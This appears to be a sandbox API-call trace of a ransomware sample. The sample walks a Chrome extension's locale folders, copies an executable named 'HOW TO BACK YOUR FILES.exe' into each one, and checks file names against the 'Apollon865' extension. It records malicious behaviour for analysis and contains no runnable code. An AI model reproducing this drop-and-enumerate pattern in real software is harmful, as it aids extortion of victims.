	[0048.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0048 | out: hHeap=0x580000) returned 1
	[0048.195] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv") returned 141
	[0048.195] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv"
	[0048.195] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.195] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.199] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.199] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34cceb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34cceb50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.199] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.199] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.200] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.200] lstrlenW (lpString="messages.json") returned 13
	[0048.200] lstrlenW (lpString="Apollon865") returned 10
	[0048.200] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.200] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt"
	[0048.200] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bae20 | out: hHeap=0x580000) returned 1
	[0048.200] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0028 | out: hHeap=0x580000) returned 1
	[0048.200] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt") returned 141
	[0048.200] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt"
	[0048.200] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.200] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.204] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34cceb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34cceb50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.204] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.204] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.204] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.204] lstrlenW (lpString="messages.json") returned 13
	[0048.204] lstrlenW (lpString="Apollon865") returned 10
	[0048.204] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.204] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko"
	[0048.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacf8 | out: hHeap=0x580000) returned 1
	[0048.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0008 | out: hHeap=0x580000) returned 1
	[0048.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko") returned 141
	[0048.204] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko"
	[0048.204] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.204] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.209] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.209] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34cf4cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34cf4cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.209] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.209] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.209] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.209] lstrlenW (lpString="messages.json") returned 13
	[0048.209] lstrlenW (lpString="Apollon865") returned 10
	[0048.209] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.209] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja"
	[0048.209] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5babd0 | out: hHeap=0x580000) returned 1
	[0048.209] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffe8 | out: hHeap=0x580000) returned 1
	[0048.209] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja") returned 141
	[0048.209] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja"
	[0048.210] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.210] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.213] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.213] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34cf4cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34cf4cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.214] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.214] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.214] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.214] lstrlenW (lpString="messages.json") returned 13
	[0048.214] lstrlenW (lpString="Apollon865") returned 10
	[0048.214] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.214] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it"
	[0048.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baaa8 | out: hHeap=0x580000) returned 1
	[0048.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffc8 | out: hHeap=0x580000) returned 1
	[0048.214] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it") returned 141
	[0048.214] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it"
	[0048.214] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.214] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.219] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.219] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34cf4cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34cf4cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.219] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.219] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.219] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.219] lstrlenW (lpString="messages.json") returned 13
	[0048.219] lstrlenW (lpString="Apollon865") returned 10
	[0048.219] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.219] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id"
	[0048.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba980 | out: hHeap=0x580000) returned 1
	[0048.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffa8 | out: hHeap=0x580000) returned 1
	[0048.219] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id") returned 141
	[0048.219] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id"
	[0048.219] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.219] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.223] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.223] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34cf4cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34cf4cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.223] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.223] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.224] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.224] lstrlenW (lpString="messages.json") returned 13
	[0048.224] lstrlenW (lpString="Apollon865") returned 10
	[0048.224] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.224] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu"
	[0048.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a8068 | out: hHeap=0x580000) returned 1
	[0048.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff88 | out: hHeap=0x580000) returned 1
	[0048.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu") returned 141
	[0048.224] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu"
	[0048.224] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.224] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.228] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.228] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34d1ae10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34d1ae10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.229] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.229] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.229] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.229] lstrlenW (lpString="messages.json") returned 13
	[0048.229] lstrlenW (lpString="Apollon865") returned 10
	[0048.229] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
